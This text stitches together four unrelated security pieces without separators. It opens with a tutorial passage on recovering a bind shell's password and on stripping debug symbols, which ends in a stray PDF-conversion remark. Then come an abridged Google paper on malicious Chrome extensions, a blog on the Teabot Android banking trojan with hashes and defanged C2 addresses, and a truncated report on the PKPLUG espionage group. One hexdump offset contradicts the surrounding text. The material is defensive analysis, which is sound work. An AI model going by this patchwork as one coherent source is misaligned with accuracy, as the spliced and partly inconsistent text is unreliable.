0x000000000000003c R 4 GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 RW 10 GNU_RELRO 0x0000000000001e10 0x0000000000601e10 0x0000000000601e10 0x00000000000001f0 0x00000000000001f0 R 1 ``` The virtual address for `s_password` falls in the range for the first LOAD segment which covers `0x400000` to `0x4010d4`. The first LOAD segment starts at the file offset of 0. Therefore, to calculate `s_password`’s offset in the file you just need to subtract `0x400000` from `0x400f00`. Which means you should be able to find the bind shell’s password at `0xf00`. Try displaying it using hexdump. ### Printing `s_password` with hexdump ```bash hexdump -C -s 0xf0 -n 64 ./trouble ``` ``` 00000f00 54 47 4f 45 75 32 36 54 57 30 6b 31 62 39 49 65 |TGOEu26TW0k1b9Ie| 00000f10 58 6a 55 4a 62 54 31 47 66 43 52 30 6a 53 6e 6c |XjUJbT1GfCR0jSnl| 00000f20 00 46 61 69 6c 65 64 20 74 6f 20 63 72 65 61 74 |.Failed to create| 00000f30 65 20 74 68 65 20 73 6f 63 6b 65 74 2e 00 42 69 |e the socket..Bi| ``` Just like that, the password to Trouble’s shell is revealed. ### Recovering the Bind Shell Password with GDB The previous section’s method for recovering the password wasn’t complicated; it can be even easier to recover `s_password` using GDB. ### Printing `s_password` using GDB ```bash gdb ./trouble ``` ``` GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1 Copyright (C) 2016 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./trouble...done. (gdb) start Temporary breakpoint 1 at 0x400c3e: file /home/albino-lobster/antire_book/chap_2_compiler/trouble/src/trouble.c, line 26. Starting program: /home/albino-lobster/antire_book/chap_2_compiler/trouble/build/trouble Temporary breakpoint 1, main(p_argc=1, p_argv=0x7fffffffdeb8) at /home/albino-lobster/antire_book/chap_2_compiler/trouble/src/trouble.c:26 26 { (gdb) print s_password $1 = "TGOEu26TW0k1b9IeXjUJbT1GfCR0jSnl" ``` In the above output, I’ve executed Trouble using GDB. GDB stops at the breakpoint at the start of `main()`. I then use GDB’s print function to display `s_password`. It doesn’t get much easier than that! ### The Debugging Information in IDA The debugging information isn’t only useful for quickly discovering `s_password`. It’s also useful when viewing the disassembly in a disassembler like the Interactive Disassembler (IDA). The debugging information helps propagate variable types and names. For example, consider this chunk of assembly near the call to `check_password()`. ### Debugging information in IDA ``` .text: 00 0 00 00 00 04 0 0DBC loc_400DBC : ; CODE XREF : main + 177 .text: 00 0 00 00 00 04 0 0DBC lea rax , [ rbp + password_input ] .text: 00 0 00 00 00 04 0 0DC0 mov rdi , rax ; p_password .text: 00 0 00 00 00 04 0 0DC3 call check_password .text: 00 0 00 00 00 04 0 0DC8 test al , al .text: 00 0 00 00 00 04 0 0DCA jz short loc_400DDD .text: 00 0 00 00 00 04 0 0DCC mov eax , [ rbp + client_sock ] .text: 00 0 00 00 00 04 0 0DCF mov edi , eax ; fd .text: 00 0 00 00 00 04 0 0DD1 call _close .text: 00 0 00 00 00 04 0 0DD6 mov eax , 1 .text: 00 0 00 00 00 04 0 0DDB jmp short loc_400E47 ``` Now look at the same chunk of code in C. ```c if (check_password(password_input)) { close(client_sock); return EXIT_FAILURE; } ``` Notice that `password_input` and `client_sock` appear in the disassembly and the C code? Also, `p_password`, which is the name `check_password()` uses for its only parameter, appears in the disassembly. IDA has parsed `.debug_info`’s DWARF information and enriched the disassembly with these easier to understand variable names. As a reverse engineer this can be really useful since many programmers use contextual variable names (i.e., `password_input` is where the user submitted password is stored). ### Removing the Debugging Information I hope I’ve convinced you that we can’t give reverse engineers access to debugging information. Fortunately, removing debugging information is trivial. You simply don’t provide the -g option in compile flags. This will prevent the various .debug sections from being generated. Which also means that GDB and IDA won’t receive the extra variable information to enrich their analysis. For instance, without -g a GDB user won’t be able to print `s_password` using “print” as was done earlier in this section. Unfortunately, that doesn’t mean a reverse engineer can’t get GDB to print it using other means, but we’ll worry more about that later. ### Using GDB to print `s_password` without debugging information ```bash gdb ./trouble ``` ``` GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1 Copyright (C) 2016 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./trouble... (no debugging symbols found) ...done. (gdb) start Temporary breakpoint 1 at 0x400c33 Starting program: /home/albino-lobster/antire_book/chap_2_compiler/trouble/build/trouble Temporary breakpoint 1, 0x0000000000400c33 in main() (gdb) print s_password $1 = 1364801095 (gdb) x/s &s_password 0x400f00 <s_password>: "TGOEu26TW0k1b9IeXjUJbT1GfCR0jSnl" ``` Finally, consider how the disassembly around the `check_password()` call looks without the debugging information. ### Viewing the `check_password()` call in IDA without debugging information ``` .text: 00 000 000 00 400 DBC loc_400DBC : ; CODE XREF : main +177 .text: 00 000 000 00 400 DBC lea rax , [ rbp + buf ] .text: 00 000 000 00 400 DC0 mov rdi , rax .text: 00 000 000 00 400 DC3 call check_password .text: 00 000 000 00 400 DC8 test al , al .text: 00 000 000 00 400 DCA jz short loc_400DDD .text: 00 000 000 00 400 DCC mov eax , [ rbp + var_5C ] .text: 00 000 000 00 400 DCF mov edi , eax ; fd .text: 00 000 000 00 400 DD1 call _close .text: 00 000 000 00 400 DD6 mov eax , 1 .text: 00 000 000 00 400 DDB jmp short loc_400E47 ``` This chunk of disassembly isn’t hard to understand, but it was even easier when the variable names were present! ### Case Study: XORDDOS Using and removing debugging information is a beginner’s topic, but I think it’s important to know. You may be thinking, “No one worried about reverse engineers would ship their binary with debugging information!” However, I can assure you they do. Take for example this XORDDOS malware. #### Malware Be careful when downloading and analyzing malware. As noted in the analysis by Malware Must Die, this malware encrypts/decrypts configuration files, packets, and “remote strings” using an XOR encryption scheme. However, just by looking at these sections in the VirusTotal link, you and I know that debugging information is present. That makes this binary an excellent toy for beginner reverse engineers to play with. Remember that I mentioned debugging information can be useful for attribution? ### Viewing XORDDOS’s .debug_info ```bash objdump --dwarf=info ./a1c324d6b4b7f2726eac1599ca457f93eb56059511741c9e79468a6df50629ba.bin ``` ``` ./a1c324d6b4b7f2726eac1599ca457f93eb56059511741c9e79468a6df50629ba.bin: file format elf32-i386 Contents of the .debug_info section: Compilation Unit @ offset 0x0: Length: 0xc41( 32-bit ) Version: 2 Abbrev Offset: 0x0 Pointer Size: 4 <0><b>: Abbrev Number: 1 (DW_TAG_compile_unit ) <c> DW_AT_stmt_list : 0x0 <10> DW_AT_high_pc : 0x8049252 <14> DW_AT_low_pc : 0x8048228 <18> DW_AT_producer : GNU C 4.1.2 20080704 ( Red Hat 4.1.2-48 ) <40> DW_AT_language : 1 ( ANSI C ) <41> DW_AT_name : autorun.c <4b> DW_AT_comp_dir : /home/xingwei/Desktop/ddos ``` The compilation directory points to `/home/xingwei/Desktop/ddos`. Googling or searching GitHub for `/home/xingwei` does yield other results. Does this help reveal the author of this malware? Maybe. Attribution is hard, but this provides a good lead. ### -s In the previous section you removed the -g flag from Trouble’s compiler options. In this section, you’ll add the -s flag. The -s option stands for “strip” and GCC’s documentation says this flag will cause the compiler to “remove all symbol table and relocation information from the executable.” To introduce the -s compiler option to Trouble update the compiler options in the `chap_2_compiler/trouble/CMakeLists.txt` file. ```cmake set(CMAKE_C_FLAGS "-Wall -Wextra -Wshadow -s -std=gnu11") ``` ### SYMTAB vs. DYNSYM As mentioned in the GCC documentation, -s will strip away the symbol table. What does that mean for Trouble? To understand exactly what gets removed let’s dump the symbol tables of an unstripped Trouble using readelf. ### Trouble’s symbol tables before being stripped ```bash readelf --syms ./trouble ``` ``` Symbol table '.dynsym' contains 35 entries: Num: Value Size Type Bind Vis Ndx Name 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND 1: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterTMCloneTab 2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __stack_chk_fail@GLIBC_2.4 ( 2 ) 3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND htons@GLIBC_2.2.5 ( 3 ) 4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND dup2@GLIBC_2.2.5 ( 3 ) 5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND htonl@GLIBC_2.2.5 ( 3 ) 6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND close@GLIBC_2.2.5 ( 3 ) 7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.2.5 ( 3 ) 8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.2.5 ( 3 ) 9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND memcmp@GLIBC_2.2.5 ( 3 ) 10: 0000000000000000 0 FUNC GLOBAL DEFAULT UND execve@GLIBC_2.2.5 ( 3 ) 11: 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__ 12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND listen@GLIBC_2.2.5 ( 3 ) 13: 0000000000000000 0 FUNC GLOBAL DEFAULT UND bind@GLIBC_2.2.5 ( 3 ) 14: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.2.5 ( 3 ) 15: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _Jv_RegisterClasses 16: 0000000000000000 0 FUNC GLOBAL DEFAULT UND accept@GLIBC_2.2.5 ( 3 ) 17: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fwrite@GLIBC_2.2.5 ( 3 ) 18: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_registerTMCloneTable 19: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fork@GLIBC_2.2.5 ( 3 ) 20: 0000000000000000 0 FUNC GLOBAL DEFAULT UND socket@GLIBC_2.2.5 ( 3 ) 21: 00000000006020a8 0 NOTYPE GLOBAL DEFAULT 25 _edata 22: 0000000000602098 0 NOTYPE GLOBAL DEFAULT 25 __data_start 23: 00000000006020d0 0 NOTYPE GLOBAL DEFAULT 26 _end ``` ### Trouble’s symbol tables after being stripped After you compile Trouble with the -s flag, you can check the symbol tables again. ```bash readelf --syms ./trouble ``` The output will show that the symbol table is now empty, making it much harder for a reverse engineer to analyze the binary. This concludes the cleanup of the PDF parser output into Markdown format.
# Trends and Lessons from Three Years Fighting Malicious Extensions **Nav Jagpal, Eric Dingle, Jean-Philippe Gravel, Panayiotis Mavrommatis, Niels Provos, Moheeb Abu Rajab, Kurt Thomas** Google {nav, ericdingle, jpgravel, panayiotis, niels, moheeb, kurtthomas}@google.com ## Abstract In this work, we expose widespread efforts by criminals to abuse the Chrome Web Store as a platform for distributing malicious extensions. A central component of our study is the design and implementation of WebEval, the first system that broadly identifies malicious extensions with a concrete, measurable detection rate of 96.5%. Over the last three years, we detected 9,523 malicious extensions: nearly 10% of every extension submitted to the store. Despite a short window of operation—we removed 50% of malware within 25 minutes of creation—a handful of under 100 extensions escaped immediate detection and infected over 50 million Chrome users. Our results highlight that the extension abuse ecosystem is drastically different from malicious binaries: miscreants profit from web traffic and user tracking rather than email spam or banking theft. ## 1 Introduction Browsers have evolved over recent years to mediate a wealth of user interactions with sensitive data. Part of this rich engagement includes extensions: add-ons that allow clients to customize their browsing experience by altering the core functionality of Chrome, Firefox, and Internet Explorer. Canonical examples include search toolbars, password managers, and ad blockers that, once installed, intercept webpage content through well-defined APIs to modify every page a user visits. Criminals have responded in kind by developing malicious extensions that interpose on a victim’s browsing sessions to steal information, forge authenticated requests, or otherwise tamper with page content for financial gain. Poignant malware strains include Facebook account hijackers, ad injectors, and password stealers that exist purely as man-in-the-browser attacks. While many of these threats have binary-based equivalents—for instance, the Torpig banking trojan—malicious extensions distributed via binary payloads were able to infect nearly 50 million users before removal. In summary, we frame our contributions as follows: - We present a comprehensive view of how malicious extensions in the Chrome Web Store have evolved and monetized victims over the last three years. - We detail the design and implementation of our security framework that combines dynamic analysis, static analysis, and reputation tracking to detect 96.5% of all known malicious extensions. - We highlight the importance of human experts in operating any large-scale, live deployment of a security scanner to address evasive malware strains. - We explore the virulent impact of malicious extensions that garner over 50 million installs; the single largest threat infecting 10.7 million Chrome users. ## 2 Background ### 2.1 Chrome Web Store The Chrome Web Store is the central repository of all Chrome extensions. While initially the store was an optional ecosystem, rampant abuse outside of the store led to Chrome locking down all Windows machines in May 2014. With this policy decision, Chrome now automatically blocks all extensions not present in the store from installation. The Chrome Web Store relies on built-in protections against malware that subject every extension to an abuse review. This approach is not unique to Chrome: Firefox, iOS, and Android all rely on application reviews to protect their user base from malware. Malicious extensions detected during preliminary review are never exposed to the public. In the event the Chrome Web Store retroactively detects a malicious extension, the store can take down the offending code and signal for all Chrome clients to expunge the extension. This defense layer provides a homogeneous enforcement policy for all Chrome users compared to the heterogeneous security environments of their desktop systems that may have no recourse against malicious extensions. ### 2.2 Chrome Extension Architecture Developers author extensions much like websites using a combination of JavaScript, CSS, and HTML. Unlike websites, extensions are exempt from same-origin protections and are afforded a range of Chrome and document-level controls that allow customizing how users interact with the Internet. **Permissions:** Extensions may interact with privileged Chrome resources such as tabs, cookies, and network traffic through a Chrome-specific API. Chrome mediates these sensitive capabilities through a coarsely defined permission model where a permission consists of a resource (e.g., cookies) and a scope (e.g., https://mail.google.com). When a developer authors an extension, she lists all desired permissions in a static manifest. This design favors “benign but buggy” extensions where the author adheres to a principle of least privilege. The model provides no protection against malicious extensions beyond explicitly signaling broad capabilities (e.g., intercepting all network traffic). **Background Page & Content Scripts:** Chrome loads an extension’s core logic into a long-running process called a background page. This privileged process obtains access to all of the Chrome API resources specified in the extension’s permission manifest. To prevent permission re-delegation attacks, Chrome isolates background pages from all other extensions and web sites. Chrome eases this isolation by allowing extensions to register content scripts that run directly in the context of a webpage as though part of the same origin (and thus with access to all of the origin’s DOM content, DOM methods, and session cookies). Background pages communicate with content scripts through a thin message-passing layer provided by Chrome. ## 3 System Overview We develop our system called WebEval to protect the Chrome Web Store from malicious extensions. The challenge is messy and fraught with evasive malware strains that adapt to our detection techniques. We rely on a blend of automated systems and human experts who work in conjunction to identify threats and correct for failures surfaced by user reports of abuse. ### 3.1 Design Goals At its heart, WebEval is designed to return a verdict for whether an extension is malicious. If the extension is pending publication, the Chrome Web Store should block the extension from release. Previously published extensions must be taken down and uninstalled from all affected Chrome instances. Arriving at a malware verdict is constrained by multiple requirements: 1. **Minimize malware installs:** Our foremost goal with WebEval is to minimize the number of users exposed to malicious extensions. However, near-zero false positives are imperative as Chrome expunges an extension’s entire user base if we return a malware verdict incorrectly. We design our system such that human experts vet every verdict prior to actioning. 2. **Simplify human verification:** Whenever possible, our system should be fully automated to minimize the time required from human experts to confirm an extension is malicious. 3. **Time-constrained:** Our system embargoes extensions from public release until we reach a verdict. It is critical that we return a decision within one hour. 4. **Comprehensible, historical reports:** Any automated reports produced by our system must be comprehensible to human analysts, including machine learning verdicts. Similarly, all reports should contain some annotation to allow a historical perspective on the evolution of malicious extensions. 5. **Tolerant to feature drift:** Finally, our system must keep pace with the evasive nature of malware and adaptations in monetization strategies. This includes allowing experts to easily deploy new rules to capture emerging threats that are then automatically incorporated into long-running detection modules. ### 3.2 System Flow WebEval is a living system that has evolved over the last three years in response to threats facing the Chrome Web Store. We describe our current pipeline for classifying an extension as malicious. The system consists of four stages: 1. A scheduler that submits extensions for evaluation. 2. An extension execution framework that captures behavioral signals. 3. An annotation phase that incorporates third-party security intelligence. 4. Scoring where we return a malware verdict. ## 4 Evaluating Extensions WebEval’s core automation systems generate a report that surfaces signals about an extension’s code base, the impact it has on a user’s browsing experience, and who developed the extension. With a few exceptions, none of these signals in isolation indicate outright malice: we leave it up to our classifier and human experts to determine which combinations of features clearly distinguish malware. ### 4.1 Static Analysis Apart from remotely fetched resources, all of an extension’s HTML, CSS, JavaScript, and manifest are self-contained and available to the Chrome Web Store upon submission. We scan through these components to identify potential threats. **Permissions & Content Scripts:** We enumerate all an extension’s permissions, content scripts, and contexts. Permissions in particular offer some indication of an extension’s capabilities such as intercepting and modifying traffic, triggering on a page load, introspecting on all cookies, and uninstalling or disabling other extensions. **Code Obfuscation:** We scan for the presence of three types of code obfuscation: minification, encoding, and packing. We build on the detection strategy that identifies common character substrings found in obfuscated vs. unobfuscated code. Instead of detecting individual characters, we develop a set of regular expressions that identifies boilerplate initialization tied to the most prominent packers. ### 4.2 Dynamic Analysis We collect the majority of our malware signals by black-box testing each extension with a barrage of behavioral suites that simulate common browsing experiences as well as custom-tailored detection modules that trigger malicious logic. **Sandbox Environment:** Our testing environment consists of a Windows virtual machine outfitted with two logging components: (1) a system monitor that captures low-level environment changes and (2) an in-browser activity logger that interposes on and logs all DOM events and Chrome API calls. **Behavioral Suites:** The event-driven nature of extensions requires that we replay realistic browsing scenarios to trigger malware. Our system allows human experts to record complex interactions with webpages that we then replay against every extension to detect malicious behaviors. ### 4.3 Developer Analysis The closed-garden nature of the Chrome Web Store enables tracking fine-grained reputation about developers and the extensions they author. We monitor where developers log in from, the email domain they use to register, the age of the developer account, and the total number of extensions authored thus far. ### 4.4 Annotation In the event the signals we collect during evaluation are insufficient, we rely on a defense-in-depth strategy that incorporates intelligence from the broader security community. We scan all of the files included in an extension with multiple anti-virus engines. If any single anti-virus vendor reports a file as malicious, we flag the file in our report. ## 5 Scoring Extensions We reach a concrete verdict of an extension’s malice by flagging any extension caught by our automated classifier or manually constructed heuristics. A human expert then verifies our decision and removes the offending extension from the Chrome Web Store if appropriate. ### 5.1 Automated Detection Our automated detection uses a proprietary implementation of an online gradient descent logistic regression with L1 regularization to reduce the size of our feature space. We train a model daily over all previously scanned extensions with labeled training data originating from human experts. ### 5.2 Manual Rules We supplement our automated detection with manually curated rules generated by human experts that address many of the most prominent threats facing the Chrome Web Store. ## 6 Evaluation We evaluate WebEval under a live deployment and track daily accuracy as vetted by human experts. As part of our analysis, we offer insights into the most important features for classification and the role of human experts in correcting for evasive strains. ### 6.1 Dataset Our evaluation dataset consists of 99,818 extensions scored by WebEval between January 2012–2015. Human experts provided our ground truth labels. ### 6.2 Overall Accuracy We measure the precision and recall of WebEval as a function of all scored extensions over the last three years. In total, our machine learning pipeline and manually curated rule sets surfaced 93.3% of all known malicious extensions to human experts. ### 6.3 Automated Classifier Accuracy Ideally, WebEval can run in a purely automated fashion without curated rules or expert verification. We evaluate this possibility by calculating the precision and recall of our logistic model. ### 6.4 Relevance of Individual Signals WebEval is an amalgam of behavioral signals where no single feature captures the majority of malicious extensions. ### 6.5 Detection Latency A critical metric of WebEval’s performance is our vulnerability window: the time between when a developer submits a malicious extension to the Chrome Web Store until its detection. ### 6.6 Manual Review Effort WebEval relies heavily on human experts to validate the verdicts of automated classification and manual rules to guarantee high precision. ## 7 Trends in Malicious Extensions Consistently high recall over the last three years allows us to provide a retrospective on how malicious extensions have evolved over time. ### 7.1 Abuse Vectors Despite hundreds of new monthly malicious extensions, we find the strategies for abusing Chrome users have remained largely constant. ### 7.2 Installs Malicious extensions obtain installs in one of two fashions: via binaries that modify Chrome’s user profile to sideload extensions, or via social engineering. ### 7.3 Malicious Developers We identify 2,339 malicious extension developers throughout the course of our study. ## 8 Discussion With multiple years spent fighting malicious extensions, we reflect on some of the lessons we have learned, limitations of our approach, and potential technical and policy improvements that can help prevent malicious extensions in the future. ### 8.1 Lessons Learned When we first set out to identify malicious extensions, our expectation was to find banking trojans and password stealers. In practice, the abusive extension ecosystem is drastically different from malicious binaries. ### 8.2 Role of Policy Research primarily considers technical solutions to abuse, but we argue that policy decisions prove equally effective at protecting users. ### 8.3 Limitations Dynamic analysis and security crawlers consistently run the risk of overlooking malicious behaviors due to cloaking. ### 8.4 Improving Detection Fundamentally improving WebEval requires we break from evaluating extensions in a sandboxed environment vulnerable to cloaking and instead move to in situ monitoring of Chrome users. ## 9 Conclusion In this work, we exposed widespread efforts by criminals to abuse the Chrome Web Store as a platform for distributing malicious extensions. As part of our study, we presented the design and implementation of a framework that automatically classifies an extension’s behaviors, code base, and author reputation to surface malware. Our unique combination of automated and human systems yielded a framework that identified 96.5% of all known malware submitted to the Chrome Web Store between January 2012–2015.
# Teabot: Android Banking Trojan Targets Banks in Europe By Baran S June 17, 2021 The Teabot (aka ‘Anatsa’) is a new Android Banking Trojan with an array of malicious features that aid in the tracking of a victim’s financial activities and spreading to more victims. It is reported to have been first noticed at the beginning of this year, purportedly targeting a handful of European banks and few languages. Some of the malicious features include key logging, disabling Google Play Protect, overlay attack, and controlling SMS. The main infection vector of Teabot, used by the threat actors, is smishing campaigns, where the victims are persuaded to download and install the distributed malicious application. Teabot masquerades as media, postal, and logistics service apps like BookReader, PlutoTV, TeaTV, VLC Media Player, Correos, DHL, and UPS. In this blog, we will be analyzing a sample “Snake.Sound.Mouse” which masquerades as a VLC media player. Once Teabot malware is installed on the device, it frequently brings up the Accessibility Service setting option on the device until the user allows this app to have the Accessibility Service enabled. This app stays stealth by hiding its icon from the application drawer after its first launch. Also, threat actors here use MediaProjectionManager API to obtain a live streaming of the device screen on-demand and also interact with it via Accessibility Services. ## Analyzing the Payload Once the permissions are granted, this malicious APK decrypts the malicious payload file called kbu.json from the app’s assets folder to an executable dex format named ‘kbu.odex’ and loads the decrypted file. Teabot is currently targeting six different languages: Spanish, English, German, Italian, Dutch, and French. The Trojan attempts to intercept SMS messages and aborts the new SMSReceived broadcast to the victim, as per the bot command “logged_sms.” Abusing the Android Accessibility Service, this Trojan acts as a keylogger to steal all the victim’s information on the device. ## C2 Communication Teabot enumerates all the installed applications on the victim’s device and then sends the list of installed apps from the victim’s device to the C2 server during its first communication. All the communications between C2 and the malware remain encrypted using an XOR key. When one or more targeted apps are found, the malware C2 sends the specific payload(s) to the victim device to perform an overlay attack and track all the activity related to the identified targeted application(s). The following are the targeted applications expected to be installed on the victim’s device: This malware also terminates the predefined list of apps process(es). Interestingly, that list includes a few popular security products in order to remain undetected. ## List of Few Bot Commands Observed At K7, we protect all our customers from such threats. Do ensure that you protect your mobile devices with a reputable security product like K7 Mobile Security and also regularly update and scan your devices with it. Keep your security product and devices updated and patched for the latest vulnerabilities. ## Indicators of Compromise (IoCs) | Package Name | Hash | K7 Detection Name | |------------------------------|--------------------------------------------------|-----------------------------| | foot.seminar.when | 8e82d870605d97db3a7e348cb6ca61c4 | Trojan (0055efb31) | | steak.into.fine | 332d407d2f690fb54546ff7f15ce7755 | Trojan (0055efb31) | | safe.enable.tooth | 112fc4be91ef529db595c9cdc40fdc82 | Trojan (0055efb31) | | snake.sound.mouse | a8ded94ee515bf0d8dbdead6d25f9ec0 | Trojan (00573cb31) | | question.cancel.cradle | c20c6cd13bd8b5ccaca9e212635f7057 | Trojan (0055e0a41) | | trust.royal.vibrant | 4642c7a56039a82d8268282802c2fee9 | Trojan (0055e0a41) | C2 hxxp://185.215.113[.31:80/api/ hxxp://178.32.130[.170:80/api/
# PKPLUG: Chinese Cyber Espionage Group Attacking Asia **By Alex Hinchliffe** **October 3, 2019** ## Executive Summary For three years, Unit 42 has tracked a set of cyber espionage attack campaigns across Asia, which used a mix of publicly available and custom malware. Unit 42 created the moniker “PKPLUG” for the threat actor group, or groups, behind these and other documented attacks referenced later in this report. We say group or groups as our current visibility doesn’t allow us to determine with high confidence if this is the work of one group, or more than one group which uses the same tools and has the same tasking. The name comes from the tactic of delivering PlugX malware inside ZIP archive files as part of a DLL side-loading package. The ZIP file format contains the ASCII magic-bytes “PK” in its header, hence PKPLUG. While tracking these attackers, Unit 42 discovered additional, mostly custom malware families being used by PKPLUG beyond that of just PlugX. The additional payloads include HenBox, an Android app, and Farseer, a Windows backdoor. The attackers also use the 9002 Trojan, which is believed to be shared among a small subset of attack groups. Other publicly available malware seen in relation to PKPLUG activity includes Poison Ivy and Zupdax. During our investigations and research into these attacks, we were able to relate previous attacks documented by others that date back as far back as six years ago. Unit 42 incorporates these findings, together with our own, under the moniker PKPLUG and continue to track accordingly. It’s not entirely clear as to the ultimate objectives of PKPLUG, but installing backdoor Trojan implants on victim systems, including mobile devices, infers tracking victims and gathering information is a key goal. We believe victims lay mainly in and around the Southeast Asia region, particularly Myanmar, Taiwan, Vietnam, and Indonesia; and likely also in various other areas in Asia, such as Tibet, Xinjiang, and Mongolia. Based on targeting, content in some of the malware and ties to infrastructure previously documented publicly as being linked to Chinese nation-state adversaries, Unit 42 believes with high confidence that PKPLUG has similar origins. ## Targeting Based on our visibility into PKPLUG’s campaigns and what we’ve learned from collaborating with industry partners, we believe victims lay mainly in and around the Southeast Asia region. Specifically, the target countries/provinces include (with higher confidence) Myanmar and Taiwan as well as (with lower confidence) Vietnam and Indonesia. Other areas in Asia targeted include Mongolia, Tibet, and Xinjiang. This blog, and the associated Adversary Playbook, provides further details including: the methods used for malware delivery, the social engineering topics of decoy applications and documents, and the Command & Control (C2) infrastructure themes. Indonesia, Myanmar, and Vietnam are ASEAN members, contributing towards intergovernmental cooperation in the region. Mongolia, specifically the independent country also known as Outer Mongolia, has a long-standing and complex relationship with the PRC. Tibet and Xinjiang are autonomous regions (AR) of China that tend to be classified by China’s ethnic minorities, granted the ability to govern themselves but ultimately answering to the People’s Republic of China (PRC). Tibet and Xinjiang are the only ARs, from five, where the ethnic group maintains a majority over other populations. Most, if not all, of the seven countries or regions, are involved in some way with Beijing’s Belt and Road Initiative (BRI) designed to connect 71 countries across Southeast Asia to Eastern Europe and Africa. The path through Xinjiang is especially important to the BRI’s success, but is more often heard of due to conflicts between the Chinese government and the ethnic Uyghur population. News of the BRI is peppered with stories of success and failure, of countries for and against the BRI and of countries pulling out of existing BRI projects. Further tensions in the region are attributed to ownership claims over the South China Sea, including fishing quotas and the yet unproven oil and gas reserves. At least three of the target countries mentioned (Malaysia, Taiwan, and Vietnam) have laid claim to parts of these waters, and some use the area for the vast majority of their trade. Foreign militaries also patrol, attempting to keep the area open. Taiwan, which isn’t an AR and doesn’t appear to be actively involved with the BRI, has its own long-standing history with the PRC — a recent $2.2 billion arms sale with the U.S. may exacerbate matters. ## Timeline Before continuing, it’s worth highlighting our research and others relating to the intrusion set that we refer to as PKPLUG. This section documents prior work surrounding cyber attacks relating to PKPLUG. The following figure illustrates the chronological order of the publications — highlighting some key findings from each. As you can see from the timeline, PKPLUG has been active for six years or more with a variety of targets and methods of delivery and compromise. **#1:** In November 2013, Blue Coat Labs published a report describing a case of attacks against Mongolian targets using PlugX malware. Like so many other attacks using PlugX over the past decade or more, Blue Coat noted the DLL side-loading technique used to launch the malicious payload via legitimate, signed applications. Their report also documented the group’s use of an exploit against software vulnerabilities in Microsoft Office. In this case, using a weaponized Word document saved as a Single File Web Page format — usually having an mht file extension — in order to exploit CVE-2012-0158 to drop and execute a signed WinRAR SFX archive containing the side-loading package and PlugX payload. Considering all the malware related to PKPLUG that Unit 42 has analyzed, the use of such exploits appears to be less common than a spear-phishing technique making use of social engineering to lure victims into running their malware. **#2:** A report published in April 2016 by Arbor Networks detailed recent cyber attacks using Poison Ivy malware against targets in Myanmar and other countries in Asia over the previous twelve months. They noted phishing emails using ASEAN membership, economics, and democracy-related topics to weaponize documents delivering the Poison Ivy payloads. While Arbor didn’t know the exact victims, they inferred suspect targets based on the content of emails and associated malware. DLL side-loading was also mentioned as the method to install the malware. **#3:** Unit 42 published research that reported attacks using the 9002 Trojan delivered through Google Drive. The download originated with a spear-phishing email containing a shortened URL that redirected multiple times before downloading a ZIP file hosted on Google Drive. The redirection using HTTP also contains information about the victim who received the spear-phish and clicked the link. In this case, the information related to a well-known politician and human rights activist in Myanmar. The filename of the ZIP archive also related to initiatives in the country, as did the decoy document contents. The ZIP file contained a DLL side-loading package abusing a Real Player executable signed by RealNetworks, Inc. in order to load the 9002 payload. **#4:** In March 2017, researchers published a report in Japanese (later translated into English) that described attacks seen by VKRL — a Hong Kong-based cybersecurity company — that were using spear-phishing emails with URLs using GeoCities Japan to deliver malware. The content of the website contained encoded VBScript that executed PowerShell commands to download a Microsoft Word document from the same GeoCities site, as well as another encoded PowerShell script closely resembling PowerSploit — a PowerShell post-exploitation framework for pentesters that’s available on GitHub — that was responsible for decoding and launching a Poison Ivy payload. Another GeoCities account was found hosting similar packages, including one targeting Mongolia based on the contents of the decoy documents. The contents of the file, assuming a victim clicked on the URL in the spear-phishing email, resembles the structure used in a technique known as AppLocker Bypass whereby trusted Windows executables can be used to execute malicious payloads. **#5:** In early 2018, Unit 42 discovered a new Android malware family that we named “HenBox” and is tracking over 400 related samples dating back as far as late 2015, and continuing to present day. HenBox often masquerades as legitimate Android apps and appears to primarily target the Uyghurs — a minority Turkic ethnic group that is primarily Muslim and lives mainly in the Xinjiang Uyghur Autonomous Region in Northwest China and also targets devices made by Chinese manufacturer Xiaomi. Smartphones are the dominant form of internet access in the region and hence make good targets for such malware. Once installed, HenBox steals information from a myriad of sources on the device including harvesting outgoing phone calls to numbers with an “+86” prefix — the country code for the PRC — and accessing the device microphone and cameras. During investigations, data revealed an older version of HenBox had been downloaded from the uyghurapps[.]net website, which appears to be a third-party Android app store serving the Uyghur community based on the domain name, language of the site, and app 